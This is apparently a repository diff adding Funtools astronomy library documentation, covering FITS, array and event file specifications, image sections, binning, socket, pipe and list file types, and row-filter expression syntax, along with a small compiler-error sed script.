if( ofun ) FunClose(ofun);
FunClose(fun);
return(0);
}

View File

@ -0,0 +1,627 @@
<!-- =defdoc funfiles funfiles n -->
<HTML>
<HEAD>
<TITLE>Funtools Data Files</TITLE>
</HEAD>
<BODY>
<!-- =section funfiles NAME -->
<H2><A NAME="files">FunFiles: Funtools Data Files</A></H2>
<!-- =section funfiles SYNOPSIS -->
<H2>Summary</H2>
This document describes the data file formats (FITS, array, raw
events) as well as the file types (gzip, socket, etc.) supported
by Funtools.
<!-- =section funfiles DESCRIPTION -->
<H2>Description</H2>
<P>
Funtools supports FITS images and binary tables, and binary files
containing array (homogeneous) data or event (heterogeneous) data.
IRAF-style brackets are appended to the filename to specify various
kinds of information needed to characterize these data:
<PRE>
file[ext|ind|ARRAY()|EVENTS(),section][filters]
or
file[ext|ind|ARRAY()|EVENTS(),section,filters]
</PRE>
where:
<UL>
<LI> <B>file</B> is the Funtools file name
<LI> <B>ext</B> is the FITS extension name
<LI> <B>ind</B> is the FITS extension number
<LI> <B>ARRAY()</B> is an array specification
<LI> <B>EVENTS()</B> is an event specification
<LI> <B>section</B> is the image section specification
<LI> <B>filters</B> are spatial region and table (row) filters
</UL>
<H2><A NAME="formats">Supported Data Formats</A></H2>
<P>
Funtools programs (and the underlying libraries) support the
following data file formats:
<UL>
<LI> FITS images (and image extensions)
<LI> FITS binary tables
<LI> binary files containing an array of homogeneous data
<LI> binary files containing events, i.e. records of heterogeneous data
<LI> column-based text files, which are documented <A HREF="./text.html">here</A>
<LI> non-disk files and lists of files
</UL>
Information needed to identify and characterize
the event or image data can be specified on the command line
using IRAF-style bracket notation appended to the filename:
<PRE>
foo.fits # open FITS default extension
image.fits[3] # open FITS extension #3
events.fits[EVENTS] # open EVENTS extension
array.file[ARRAY(s1024)] # open 1024x1024 short array
events.file[EVENTS(x:1024,y:1024...)] # open non-FITS event list
</PRE>
Note that in many Unix shells (e.g., csh and tcsh), filenames must
be enclosed in quotes to protect the brackets from shell processing.
<H2><A NAME="fits">FITS Images and Binary Tables</A></H2>
<P>
When <A HREF="./library.html#funopen">FunOpen()</A> opens a FITS file
without a bracket specifier, the default behavior is to look for a
valid image in the primary HDU. In the absence of a primary image,
Funtools will try to open an extension named either <B>EVENTS</B> or
<B>STDEVT</B>, if one of these exists. This default behavior supports
both FITS image processing and standard X-ray event list processing
(which, after all, is what we at SAO/HEAD do).
<P>
In order to open a FITS binary table or image extension explicitly, it
is necessary to specify either the extension name or the extension
number in brackets:
<PRE>
foo.fits[1] # open extension #1: the primary HDU
foo.fits[3] # open extension #3 of a FITS file
foo.fits[GTI] # open GTI extension of a FITS file
</PRE>
The ext argument specifies the name of the FITS extension (i.e. the
value of the EXTENSION header parameter in a FITS extension), while
the index specifies the value of the FITS EXTVER header parameter.
Following FITS conventions, extension numbers start at 1.
<P>
When a FITS data file is opened for reading using
<A HREF="./library.html#funopen">FunOpen()</A>, the specified extension
is automatically located and is used to initialize the Funtools internal
data structures.
<H2><A NAME="events">Non-FITS Raw Event Files</A></H2>
In addition to FITS tables, Funtools programs and libraries can operate
on non-FITS files containing heterogeneous event records. To specify
such an event file, use:
<UL>
<LI> file[EVENTS(event-spec)]
<LI> file[EVENTS()]
</UL>
where <B>event-spec</B> is a string that specified the names, data
types, and optional image dimensions for each element of the event
record:
<UL>
<LI> [name]:[n][type]:[(lodim:)hidim]
</UL>
<P>
Data types follow standard conventions for FITS binary tables, but include
two extra unsigned types ('U' and 'V'):
<UL>
<LI> <B>B</B> -- unsigned 8-bit char
<LI> <B>I</B> -- signed 16-bit int
<LI> <B>J</B> -- signed 32-bit int
<LI> <B>K</B> -- signed 64-bit int
<LI> <B>E</B> -- 32-bit float
<LI> <B>D</B> -- 64-bit float
<LI> <B>U</B> -- unsigned 16-bit int
<LI> <B>V</B> -- unsigned 32-bit int
</UL>
An optional integer value <B>n</B> can be prefixed to the type to indicate
that the element is an array of n values. For example:
<PRE>
foo.fits[EVENTS(x:I,y:I,status:4J)]
</PRE>
defines x and y as 16-bit ints and status as an array of 4 32-bit ints.
<P>
Furthermore, image dimensions can be attached to the event specification
in order to tell Funtools how to bin the events into an image. They
follow the conventions for the FITS TLMIN/TLMAX keywords. If the low
image dimension is not specified, it defaults to 1. Thus:
<UL>
<LI> RAWX:J:1:100
<LI> RAWX:J:100
</UL>
both specify that the dimension of this column runs from 1 to 100.
<P>
NB: it is required that all padding be specified in the record
definition. Thus, when writing out whole C structs instead of
individual record elements, great care must be taken to include
the compiler-added padding in the event definition.
<P>
For example, suppose a FITS binary table has the following set of column
definitions:
<PRE>
TTYPE1 = 'X ' / Label for field
TFORM1 = '1I ' / Data type for field
TLMIN1 = 1 / Min. axis value
TLMAX1 = 10 / Max. axis value
TTYPE2 = 'Y ' / Label for field
TFORM2 = '1I ' / Data type for field
TLMIN2 = 2 / Min. axis value
TLMAX2 = 11 / Max. axis value
TTYPE3 = 'PHA ' / Label for field
TFORM3 = '1I ' / Data type for field
TTYPE4 = 'PI ' / Label for field
TFORM4 = '1J ' / Data type for field
TTYPE5 = 'TIME ' / Label for field
TFORM5 = '1D ' / Data type for field
TTYPE6 = 'DX ' / Label for field
TFORM6 = '1E ' / Data type for field
TLMIN6 = 1 / Min. axis value
TLMAX6 = 10 / Max. axis value
TTYPE7 = 'DY ' / Label for field
TFORM7 = '1E ' / Data type for field
TLMIN7 = 3 / Min. axis value
TLMAX7 = 12 / Max. axis value
</PRE>
An raw event file containing these same data would have the event
specification:
<PRE>
EVENTS(X:I:10,Y:I:2:11,PHA:I,PI:J,TIME:D,DX:E:10,DY:E:3:12)
</PRE>
<P>
If no event specification string is included within the EVENTS() operator,
then the event specification is taken from the <B>EVENTS</B> environment
variable:
<PRE>
setenv EVENTS "X:I:10,Y:I:10,PHA:I,PI:J,TIME:D,DX:E:10,DY:E:10"
</PRE>
<P>
In addition to knowing the data structure, it is necessary to know the
<EM>endian</EM> ordering of the data, i.e., whether or not the data is
in <EM>bigendian</EM> format, so that we can convert to the native
format for this platform. This issue does not arise for FITS Binary
Tables because all FITS files use big-endian ordering, regardless of
platform. But for non-FITS data, big-endian data produced on a Sun
workstation but read on a Linux PC needs to be byte-swapped, since PCs
use little-endian ordering. To specify an ordering, use the
<EM>bigendian=</EM> or <EM>endian=</EM> keywords on the command-line
or the EVENTS_BIGENDIAN or EVENTS_ENDIAN environment variables. The
value of the <EM>bigendian</EM> variables should be "true" or "false",
while the value of the <EM>endian</EM> variables should be "little" or
"big".
<P>
For example, a PC can access data produced by a Sun using:
<PRE>
hrc.nepr[EVENTS(),bigendian=true]
or
hrc.nepr[EVENTS(),endian=big]
or
setenv EVENTS_BIGENDIAN true
or
setenv EVENTS_ENDIAN big
</PRE>
If none of these are specified, the data are assumed to follow the
format for that platform and no byte-swapping is performed.
<H2><A NAME="arrays">Non-FITS Array Files</A></H2>
In addition to FITS images, Funtools programs and libraries can operate
on non-FITS files containing arrays of homogeneous data. To specify
an array file, use:
<UL>
<LI> file[ARRAY(array-spec)]
<LI> file[ARRAY()]
</UL>
where array-spec is of the form:
<UL>
<LI> [type][dim1][.dim2][:skip][endian]
</UL>
and where [type] is:
<UL>
<LI> b (8-bit unsigned char)
<LI> s (16-bit short int)
<LI> u (16-bit unsigned short int)
<LI> i (32-bit int)
<LI> r,f (32-bit float)
<LI> d (64-bit float)
</UL>
<P>
The dim1 specification is required, but dim2 is optional and defaults
to dim1. The skip specification is optional and defaults to 0. The
optional endian specification can be 'l' or 'b' and defaults to the
endian type for the current machine.
<P>
If no array specification is included within the ARRAY() operator,
then the array specification is taken from the <B>ARRAY</B> environment
variable. For example:
<PRE>
foo.arr[ARRAY(r512)] # bitpix=-32 dim1=512 dim2=512
foo.arr[ARRAY(r512.400)] # bitpix=-32 dim1=512 dim2=400
foo.arr[ARRAY(r512.400]) # bitpix=-32 dim1=512 dim2=400
foo.arr[ARRAY(r512.400:2880)] # bitpix=-32 dim1=512 dim2=400 skip=2880
foo.arr[ARRAY(r512l)] # bitpix=-32 dim1=512 dim2=512 endian=little
setenv ARRAY "r512.400:2880"
foo.arr[ARRAY()] # bitpix=-32 dim1=512 dim2=400 skip=2880
</PRE>
<H2><A NAME="sections">Specifying Image Sections</A></H2>
Once a data file (and possibly, a FITS extension) has been specified,
the next (optional) part of a bracket specification can be used to
select image <B>section</B> information, i.e., to specify the x,y
limits of an image section, as well as the blocking factor to apply to
that section. This information can be added to any file specification but
only is used by Funtools image processing routines.
<P>
The format of the image section specification is one of the following:
<UL>
<LI> file[xy0:xy1,block]
<LI> file[x0:x1,y0:y1,block]
<LI> file[x0:x1,*,block]
<LI> file[*,y0:y1,block]
<LI> file[*,block]
</UL>
where the limit values can be ints or "*" for default. A single "*"
can be used instead of val:val, as shown. Note that blocking is
applied to the section after it is extracted.
<P>
In addition to image sections specified by the lo and hi x,y limits, image
sections using center positions can be specified:
<UL>
<LI> file[dim1@xcen,dim2@ycen]
<LI> file[xdim2@xcen@ycen]
<LI> file[dim1@xcen,dim2@ycen,block]
<LI> file[dim@xcen@ycen,block]
</UL>
Note that the (float) values for dim, dim1, dim2, xcen, ycen must be
specified or else the expression does not make sense!
<P>
In all cases, block is optional and defaults to 1. An 's' or 'a' can
be appended to signify "sum" or "average" blocking (default is "sum").
Section specifications are given in image coordinates by default. If you
wish to specify physical coordinates, add a 'p' as the last character
of the section specification, before the closing bracket.
For example:
<PRE>
<UL>
<LI> file[-8:-7,-8:-7p]
<LI> file[-8:-7,-8:-7,2p]
</UL>
</PRE>
A section can be specified in any Funtools file name. If the operation
to be applied to that file is an imaging operation, then the
specification will be utilized. If the operation is purely a table
operation, then the section specification is ignored.
<P>
Do not be confused by:
<PRE>
foo.fits[2]
foo.fits[*,2]
</PRE>
The former specifies opening the second extension of the FITS file.
The latter specifies application of block 2 to the image section.
<P>
Note that the section specification must come after
any of FITS <B>ext</B> name or <B>ind</B> number,
but all sensible defaults are supported:
<UL>
<LI> file[ext]
<LI> file[ext,index]
<LI> file[index]
<LI> file[ext,section]
<LI> file[ext,index,section]
<LI> file[index,section]
<LI> file[section]
</UL>
<H2><A NAME="binning">Binning FITS Binary Tables and Non-FITS Event Files</H2>
If a FITS binary table or a non-FITS raw event file is to be binned
into a 2D image (e.g., using the
<A HREF="./programs.html#funimage">funimage</A>
program), it is necessary to specify the two columns to be used for the
binning, as well as the dimensions of the image. Funtools first looks
for a specifier of the form:
<PRE>
bincols=([xnam[:tlmin[:tlmax:[binsiz]]]],[ynam[:tlmin[:tlmax[:binsiz]]]])
</PRE>
in bracket syntax, and uses the column names thus specified. The tlmin, tlmax,
and binsiz specifiers determine the image binning dimensions using:
<PRE>
dim = (tlmax - tlmin)/binsiz (floating point data)
dim = (tlmax - tlmin)/binsiz + 1 (integer data)
</PRE>
These tlmin, tlmax, and binsiz specifiers can be omitted if TLMIN,
TLMAX, and TDBIN header parameters are present in the FITS binary
table header, respectively. If only one parameter is specified, it is
assumed to be tlmax, and tlmin defaults to 1. If two parameters are
specified, they are assumed to be tlmin and tlmax.
For example, to bin an HRC event list columns "VPOS" and "UPOS", use:
<PRE>
hrc.nepr[bincols=(VPOS,UPOS)]
</PRE>
or
<PRE>
hrc.nepr[bincols=(VPOS:49152,UPOS:4096)]
</PRE>
Note that you can optionally specify the dimensions of these columns
to cover cases where neither TLMAX keywords are defined in
the header. If either dimension is specified, then both must be specified.
<P>
You can set the FITS_BINCOLS or EVENTS_BINCOLS environment variable as
an alternative to adding the "bincols=" specifier to each file name
for FITS binary tables and raw event files, respectively. If no
binning keywords or environment variables are specified, or if the
specified columns are not in the binary table, the Chandra parameters
CPREF (or PREFX) are searched for in the FITS binary table header.
Failing this, columns named "X" and "Y" are sought. If these are not
found, the code looks for columns containing the characters "X" and
"Y". Thus, you can bin on "DETX" and "DETX" columns without
specifying them, if these are the only column names containing the "X"
and "Y" characters.
<p>
Ordinarily, each event or row contributes one count to an image pixel
during the 2D binning process. Thus, if five events all have the same
(x,y) position, the image pixel value for that position will have a
value of five. It is possible to specify a variable contribution
for each event by using the vcol=[colname] filter spec:
<PRE>
vcol=[colname]
</PRE>
The vcol colname is a column containing a numeric value in each event row
that will be used as the contribution of the given event to its image
pixel. For example, consider an event file that has the following content:
<PRE>
x:e:4 y:e:4 v:e
------ ------ ----
1 1 1.0
2 2 2.0
3 3 3.0
4 4 0.0
1 1 1.0
2 2 2.0
3 3 3.0
4 4 4.0
</PRE>
There are two events with x,y value of (1,1) so ordinarily a 2D image will
have a value of 2 in the (1,1) pixel. If the v column is specified as the
value column:
<PRE>
foo.fits'[vcol=v]'
</PRE>
then each pixel will contain the additive sum of the associated (x,y)
column values from the v column. For example, image pixel (1,1) will
contain 1. + 1. = 2, image pixel (2,2) will contain (2 + 2) = 4, etc.
<p>
An important variation on the use of a value column to specify the
contribution an event makes to an image pixel is when the value column
contains the reciprocal of the event contribution. For this case, the
column name should be prefixed with a / (divide sign) thus:
<PRE>
foo.fits'[vcol=/v]'
</PRE>
Each image pixel value will then be the sum of the reciprocals of the value
column. A zero in the value column results in NaN (not a number).
Thus, in the above example, image pixel (1.1) will contain 1/1 + 1/1 = 2,
image pixel (2,2) will contain (1/2 + 1/2) = 1, etc. Image pixel (4,4)
will contain (1/0 + 1/4) = NaN.
<p>
You can set the FITS_VCOL or EVENTS_VCOL environment variable as
an alternative to adding the "vcol=" specifier to each file name
for FITS binary tables and raw event files, respectively.
<P>
Finally, when binning events, the data type of the resulting 2D image
must be specified. This can be done with the "bitpix=[n]" keyword in
the bracket specification. For example:
<PRE>
events.fits[bincols=(VPOS,UPOS),bitpix=-32]
</PRE>
will create a floating point image binned on columns VPOS and UPOS.
If no bitpix keyword is specified, bitpix=32 is assumed. As with
bincols values, you also can use the FITS_BITPIX and EVENTS_BITPIX
environment variables to set this value for FITS binary tables and
raw event files, respectively.
<P>
The <b>funimage</b> program also allows you to create a 1D image projection
along any column of a table by using the <b>bincols=[column]</b>
filter specification and specifying a single column.
For example, the following command projects a 1D image along
the chipx column of a table:
<PRE>
funimage ev.fits'[bincols=chipx]' im.fits
</PRE>
See <A HREF="./programs.html#funimage">funimage</A> for more
information about creating 1D and 2D images.
<P>
Finally, please note that Funtools supports most FITS standards.
We will add missing support as required by the community. In general,
however, we do not support non-standard extensions. For example, we
sense the presence of the binary table 'variable length array'
proposed extension and we pass it along when copying and filtering
files, but we do not process it. We will add support for new standards
as they become official.
<H2><A NAME="filters">Table and Spatial Region Filters</H2>
<P>
Note that, in addition extensions and image sections, Funtools bracket
notation can be used to specify table and spatial region filters. These
filters are always placed after the image section information. They
can be specified in the same bracket or in a separate bracket
immediately following:
<UL>
<LI> file[ext|ind|ARRAY()|EVENTS(),section][filters]
<LI> file[ext|ind|ARRAY()|EVENTS(),section,filters]
</UL>
where:
<UL>
<LI> <B>file</B> is the Funtools file name
<LI> <B>ARRAY()</B> is an array specification
<LI> <B>EVENTS()</B> is an event list specification
<LI> <B>ext</B> is the FITS extension name
<LI> <B>ind</B> is the FITS extension number
<LI> <B>section</B> is the image section to extract
<LI> <B>filters</B> are spatial region and table (row) filters to apply
</UL>
The topics of table and region filtering are covered in detail in:
<UL>
<LI><A HREF="./filters.html">Table Filtering</A>
<LI><A HREF="./regions.html">Spatial Region Filtering</A>
</UL>
<H2><A NAME="types">Disk Files and Other Supported File Types</A></H2>
<P>
The specified <B>file</B> usually is an ordinary disk file. In
addition, gzip'ed files are supported in Funtools: gzip'ed input files
are automatically uncompressed as they are read, and gzip'ed output
files are compressed as they are written. NB: if a FITS binary table
is written in gzip format, the number of rows in the table will be set
to -1. Such a file will work with Funtools programs but will not work
with other FITS programs such as ds9.
<P>
The special keywords "stdin" and "stdout" designate Unix standard
input and standard output, respectively. The string "-" (hyphen) will
be taken to mean "stdin" if the file is opened for reading and
"stdout" if the file is opened for writing.
<P>
A file also can be an INET socket on the same or another machine using
the syntax:
<PRE>
machine:port
</PRE>
Thus, for example:
<PRE>
karapet:1428
</PRE>
specifies that I/O should be performed to/from port 1428 on the
machine karapet. If no machine name is specified, the default is to
use the current machine:
<PRE>
:1428
</PRE>
This means to open port 1428 on the current machine. Socket support
allows you to generate a distributed pipe:
<PRE>
on karapet: funtask1 in.fits bynars:1428
on bynars: funtask2 :1428 out.fits
</PRE>
The socket mechanism thus supports simple parallel processing using
<B>process decomposition</B>. Note that parallel processing using
<B>data decomposition</B> is supported via the <B>section</B> specifier (see
below), and the <B>row#</B> specifier, which is part of
<A HREF="./filters.html">Table Filtering</A>.
<P>
A file also can be a pointer to shared memory using the syntax:
<PRE>
shm:[id|@key][:size]
</PRE>
A shared memory segment is specified with a <B>shm:</B> prefix,
followed by either the shared memory id or the shared memory key
(where the latter is prefixed by the '@' character). The size (in
bytes) of the shared memory segment can then be appended (preceded by
the ':' character). If the size specification is absent, the code will
attempt to determine the length automatically.
If the open mode contains the string "w+", then the memory segment will be
created if it does not exist. (It also will be released and deleted when the
file is closed.) In the case where a memory segment is being created, the
length of the segment is required.
<P>
A file also can be Unix piped command (i.e. a program to run) using the syntax:
<PRE>
"pipe: command arg1 ... argn"
</PRE>
The output from the command must be a valid FITS file. It is important
to use quotes to protect spaces so that command arguments are passed
correctly. A silly example is:
<PRE>
fundisp "pipe: funtable 'foo.fits[cir 512 512 .1]' stdout"
</PRE>
This seemed like a good idea at the time ...
<H2><A NAME="types">Lists of Files</A></H2>
<P>
Funtools also will process a list of files as a single file using the
syntax:
<PRE>
"list: file1 file2 ... filen"
</PRE>
The files in the list are separated by whitespace. Any of the
above file types can be used. For example, if two files, foo1.fits and
foo2.fits, are part of the same observation, they can be processed as
a single file (using their own filters):
<PRE>
fundisp "list: foo1.fits[cir(512,512,10)] foo2.fits[cir(511,511,10)]"
X Y PHA PI TIME DX DY
-------- -------- -------- -------- --------------------- -------- --------
512 512 6 7 79493997.45854475 578 574
512 512 8 9 79494575.58943175 579 573
512 512 5 6 79493631.03866175 578 575
512 512 5 5 79493290.86521725 578 575
512 512 8 9 79493432.00990875 579 573
511 511 5 5 79488631.09462625 580 575
511 511 10 11 79488780.60006675 580 573
511 511 4 4 79494562.35474326 580 575
511 511 6 6 79488203.01561825 580 575
511 511 6 6 79488017.99730176 580 575
511 511 4 4 79494332.45355175 580 575
511 511 9 10 79492685.94014275 581 574
511 511 5 5 79487708.71298325 580 575
511 511 8 9 79493719.00160225 581 573
</PRE>
Again, note that it is important to avoid spaces in the filters
because the list separator also is whitespace. To protect whitespace
in a filter, enclose the file specification in quotes:
<PRE>
fundisp "list: 'foo1.fits[cir 512 512 .1]' foo2.fits[cir(511,511,.1)]"
</PRE>
<!-- =section funfiles SEE ALSO -->
<!-- =text See funtools(n) for a list of Funtools help pages -->
<!-- =stop -->
<P>
<A HREF="./help.html">Go to Funtools Help Index</A>
<H5>Last updated: February 15, 2006</H5>
</BODY>
</HTML>

View File

@ -0,0 +1,325 @@
<!-- =defdoc funfilters funfilters n -->
<HTML>
<HEAD>
<TITLE>Table Filtering</TITLE>
</HEAD>
<BODY>
<!-- =section funfilters NAME -->
<H2><A NAME="funfilters">Funfilters: Filtering Rows in a Table</A></H2>
<!-- =section funfilters SYNOPSIS -->
<H2>Summary</H2>
<P>
This document contains a summary of the user interface for
filtering rows in binary tables.
<!-- =section funfilters DESCRIPTION -->
<H2>Description</H2>
<P>
Table filtering allows a program to select rows from an table (e.g.,
X-ray event list) by checking each row against one or more expressions
involving the columns in the table. When a table is filtered, only
valid rows satisfying these expressions are passed through for processing.
<P>
A filter expression is specified using bracket notation appended to
the filename of the data being processed:
<PRE>
foo.fits[pha==1&&pi==2]
</PRE>
It is also possible to put region specification inside a file and
then pass the filename in bracket notation:
<PRE>
foo.fits[@my.reg]
</PRE>
Filters must be placed after the extension and image section
information, when such information is present. The correct order is:
<UL>
<LI> file[fileinfo,sectioninfo][filters]
<LI> file[fileinfo,sectioninfo,filters]
</UL>
where:
<UL>
<LI> <B>file</B> is the Funtools file name
<LI> <B>fileinfo</B> is an ARRAY, EVENT, FITS extension, or FITS index
<LI> <B>sectioninfo</B> is the image section to extract
<LI> <B>filters</B> are spatial region and table (row) filters to apply
</UL>
See <A HREF="./files.html">Funtools Files</A> for more information
on file and image section specifications.
<H2>Filter Expressions</H2>
<P>
Table filtering can be performed on columns of data in a FITS
binary table or a raw event file. Table filtering is accomplished by
means of <B>table filter specifications</B>. An table filter
specification consists of one or more <B>filter expressions</B> Filter
specifications also can contain comments and local/global processing
directives.
<P>
More specifically, a filter specification consist of one or more lines
containing:
<PRE>
# comment until end of line
# include the following file in the table descriptor
@file
# each row expression can contain filters separated by operators
[filter_expression] BOOLOP [filter_expression2], ...
# each row expression can contain filters separated by the comma operator
[filter_expression1], [filter_expression2], ...
# the special row# keyword allows a range of rows to be processed
row#=m:n
# or a single row
row#=m
# regions are supported -- but are described elsewhere
[spatial_region_expression]
</PRE>
<P>
A single filter expression consists of an arithmetic, logical, or
other operations involving one or more column values from a
table. Columns can be compared to other columns, to header values,
or to numeric constants. Standard math functions can be applied to
columns. Separate filter expressions can be combined using boolean operators.
Standard C semantics can be used when constructing expressions, with
the usual precedence and associativity rules holding sway:
<PRE>
Operator Associativity
-------- -------------
() left to right
!! (logical not) right to left
! (bitwise not) - (unary minus) right to left
* / left to right
+ - left to right
&lt; &lt;= &gt; &gt;= left to right
== != left to right
& (bitwise and) left to right
^ (bitwise exclusive or) left to right
| (bitwise inclusive or) left to right
&& (logical and) left to right
|| (logical or) left to right
= right to left
</PRE>
For example, if energy and pha are columns in a table,
then the following are valid expressions:
<PRE>
pha>1
energy == pha
(pha>1) && (energy<=2)
max(pha,energy)>=2.5
</PRE>
<P>
Comparison values can be integers or floats. Integer comparison values can be
specified in decimal, octal (using '0' as prefix), hex (using '0x' as prefix)
or binary (using '0b' as prefix). Thus, the following all specify the same
comparison test of a status mask:
<PRE>
(status & 15) == 8 # decimal
(status & 017) == 010 # octal
(status & 0xf) == 0x8 # hex
(status & 0b1111) == 0b1000 # binary
</PRE>
<P>
The special keyword row# allows you to process a range of rows.
When row# is specified, the filter code skips to the designated
row and only processes the specified number of rows. The
"*" character can be utilized as the high limit value to denote
processing of the remaining rows. Thus:
<PRE>
row#=100:109
</PRE>
processes 10 rows, starting with row 100 (counting from 1),
while:
<PRE>
row#=100:*
</PRE>
specifies that all but the first 99 rows are to be processed.
<P>
Spatial region filtering allows a program to select regions of an
image or rows of a table (e.g., X-ray events) using simple geometric
shapes and boolean combinations of shapes. For a complete description
of regions, see <A HREF="./regions.html">Spatial Region Filtering</A>.
<H2><A NAME="separators">Separators Also Are Operators</A></H2>
<P>
As mentioned previously, multiple filter expressions can be specified
in a filter descriptor, separated by commas or new-lines.
When such a comma or new-line separator is used, the boolean AND operator
is automatically generated in its place. Thus and expression such as:
<PRE>
pha==1,pi=2:4
</PRE>
is equivalent to:
<PRE>
(pha==1) && (pi>=2&&pi<=4)
</PRE>
<P>
[Note that the behavior of separators is different for filter expressions
and spatial region expressions. The former uses AND as the operator, while
the latter user OR. See
<A HREF="./combo.html">Combining Region and Table Filters</A>
for more information about these conventions and how they are treated
when combined.]
<H2><A NAME="range">Range Lists</A></H2><P>
<P>
Aside from the standard C syntax, filter expressions can make use of
IRAF-style <B>range lists</B> which specify a range of values. The
syntax requires that the column name be followed by an '=' sign, which
is followed by one or more comma-delimited range expressions of the form:
<PRE>
col = vv # col == vv in range
col = :vv # col <= vv in range
col = vv: # col >= vv in range
col = vv1:vv2 # vv1 <= col <= vv2 in range
</PRE>
The vv's above must be numeric constants; the right hand side of a
range list cannot contain a column name or header value.
<P>
Note that, unlike an ordinary comma separator, the comma separator used
between two or more range expressions denotes OR. Thus, when two or
more range expressions are combined with a comma separator, the resulting
expression is a shortcut for more complicated boolean logic. For example:
<PRE>
col = :3,6:8,10:
</PRE>
is equivalent to:
<PRE>
(col<=3) || (col>=6 && col <=8) || (col >=10)
</PRE>
Note also that the single-valued rangelist:
<PRE>
col = val
</PRE>
is equivalent to the C-based filter expression:
<PRE>
col == val
</PRE>
assuming, of course, that val is a numeric constant.
<H2><A NAME="math">Math Operations and Functions</A></H2><P>
<P>
It is permissible to specify C math functions as part of the filter syntax.
When the filter parser recognizes a function call, it automatically
includes the math.h and links in the C math library. Thus, it is
possible to filter rows by expressions such as these:
<UL>
<LI>(pi+pha)>(2+log(pi)-pha)
<LI> min(pi,pha)*14>x
<LI> max(pi,pha)==(pi+1)
<LI> feq(pi,pha)
<LI> div(pi,pha)>0
</UL>
The function feq(a,b) returns true (1) if the difference between a and b
(taken as double precision values) is less than approximately 10E-15.
The function div(a,b) divides a by b, but returns NaN (not a number)
if b is 0. It is a safe way to avoid floating point errors when
dividing one column by another.
<H2><A NAME="include">Include Files</A></H2><P>
<P>
The special <B>@filename</B> directive specifies an include file
containing filter expressions. This file is processed as part of
the overall filter descriptor:
<PRE>
foo.fits[pha==1,@foo]
</PRE>
<H2><A NAME="header">Header Parameters</A></H2><P>
<P>
The filter syntax supports comparison between a column value and a
header parameter value of a FITS binary tables (raw event files have no
such header). The header parameters can be taken from the binary
table header or the primary header. For example, assuming there is a
header value MEAN_PHA in one of these headers, you can select photons
having exactly this value using:
<UL>
<LI> pha==MEAN_PHA
</UL>
<H2>Examples</H2>
<P>
Table filtering is more easily described by means of examples.
Consider data containing the following table structure:
<UL>
<LI> double TIME
<LI> int X
<LI> int Y
<LI> short PI
<LI> short PHA
<LI> int DX
<LI> int DY
</UL>
<P>
Tables can be filtered on these columns using IRAF/QPOE range syntax or
any valid C syntax. The following examples illustrate the possibilities:
<DL>
<P>
<DT> pha=10
<DT> pha==10
<DD> select rows whose pha value is exactly 10
<P>
<DT> pha=10:50
<DD> select rows whose pha value is in the range of 10 to 50
<P>
<DT> pha=10:50,100
<DD> select rows whose pha value is in the range of 10 to 50 or is
equal to 100
<P>
<DT> pha>=10 && pha<=50
<DD> select rows whose pha value is in the range of 10 to 50
<P>
<DT> pi=1,2&&pha>3
<DD> select rows whose pha value is 1 or 2 and whose pi value is 3
<P>
<DT> pi=1,2 || pha>3
<DD> select rows whose pha value is 1 or 2 or whose pi value is 3
<P>
<DT> pha==pi+1
<DD> select rows whose pha value is 1 less than the pi value
<P>
<DT> (pha==pi+1) && (time>50000.0)
<DD> select rows whose pha value is 1 less than the pi value
and whose time value is greater than 50000
<P>
<DT>(pi+pha)>20
<DD> select rows in which the sum of the pi and pha values is greater
than 20
<P>
<DT> pi%2==1
<DD> select rows in which the pi value is odd
</DL>
<P>
Currently, integer range list limits cannot be specified in binary
notation (use decimal, hex, or octal instead). Please contact us if
this is a problem.
<!-- =section funfilters SEE ALSO -->
<!-- =text See funtools(n) for a list of Funtools help pages -->
<!-- =stop -->
<P>
<A HREF="./help.html">Go to Funtools Help Index</A>
<H5>Last updated: November 17, 2005</H5>
</BODY>
</HTML>

View File

@ -0,0 +1,9 @@
# cc <foo.c> 2>&1 | sed -n -f funauto.sed
# Linux gcc (and others)
s/.*`\([^)]*\)' undeclared (first use in this function).*/\1/p
# Solaris cc
s/.*undefined symbol: \([^)]*\)/\1/p
# Dec Alpha/OSF cc
s/.*In this statement, "\([^)]*\)" is not declared.*/\1/p
# SGI cc
s/.*The identifier "\([^)]*\)" is undefined.*/\1/p

Binary file not shown.

11446
funtools-1.4.7/doc/funtools.ps Normal file

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,192 @@
<!-- =defdoc funtools funtools n -->
<HTML>
<HEAD>
<TITLE>The Funtools Help Facility</TITLE>
</HEAD>
<BODY>
<!-- =section funtools NAME -->
<H2><A NAME="funtools">Funtools: FITS Users Need Tools</A></H2>
<!-- =section funtools SYNOPSIS -->
<H2>Summary</H2>
This document is the Table of Contents for Funtools.
<!-- =section funtools DESCRIPTION -->
<H2>Description</H2>
Funtools, is a "minimal buy-in" FITS library and utility package developed
at the the High Energy Astrophysics Division of SAO. The Funtools
library provides simplified access to a wide array of file types:
standard astronomical FITS images and binary tables, raw arrays and
binary event lists, and even tables of ASCII column data. A
sophisticated region filtering library (compatible with ds9) filters
images and tables using boolean operations between geometric shapes,
support world coordinates, etc. Funtools also supports advanced
capabilities such as optimized data searching using index files.
The main goal of the Funtools project has been to develop a minimal buy-in
FITS library for researchers who are occasional (but serious) coders. In
this case, "minimal buy-in" means "easy to learn, easy to use, and easy to
re-learn next month". We have tried to achieve this goal by emphasizing two
essential capabilities. The first is the ability to develop FITS programs
without knowing much about FITS, i.e., without having to deal with the
arcane rules for generating a properly formatted FITS file. The second is
to support the use of already-familiar C/Unix facilities, especially C
structs and Unix stdio. Taken together, these two capabilities should allow
researchers to leverage their existing programming expertise while
minimizing the need to learn new and complex coding rules.
<!-- =section funtools DESCRIPTION -->
<P>
Choose from the following topics:
<P>
<UL>
<LI><A HREF="./programs.html">Funtools User Programs</A>
<UL>
<LI><A HREF="./programs.html#funcalc">funcalc: Funtools calculator (for binary tables)</A>
<!-- =text [funcalc(1)] -->
<LI><A HREF="./programs.html#funcen">funcen: find centroid (for binary tables)</A>
<!-- =text [funcen(1)] -->
<LI><A HREF="./programs.html#funcnts">funcnts: count photons in specified regions</A>
<!-- =text [funcnts(1)] -->
<LI><A HREF="./programs.html#funcone">funcone: cone search on RA, Dec columns</A>
<!-- =text [funcone(1)] -->
<LI><A HREF="./programs.html#fundisp">fundisp: display data in a Funtools data file</A>
<!-- =text [fundisp(1)] -->
<LI><A HREF="./programs.html#funhead">funhead: display a header in a Funtools file</A>
<!-- =text [funhead(1)] -->
<LI><A HREF="./programs.html#funhist">funhist: create a 1D histogram of a column</A>
<!-- =text [funhist(1)] -->
<LI><A HREF="./programs.html#funimage">funimage: create a FITS image from a Funtools data file</A>
<!-- =text [funimage(1)] -->
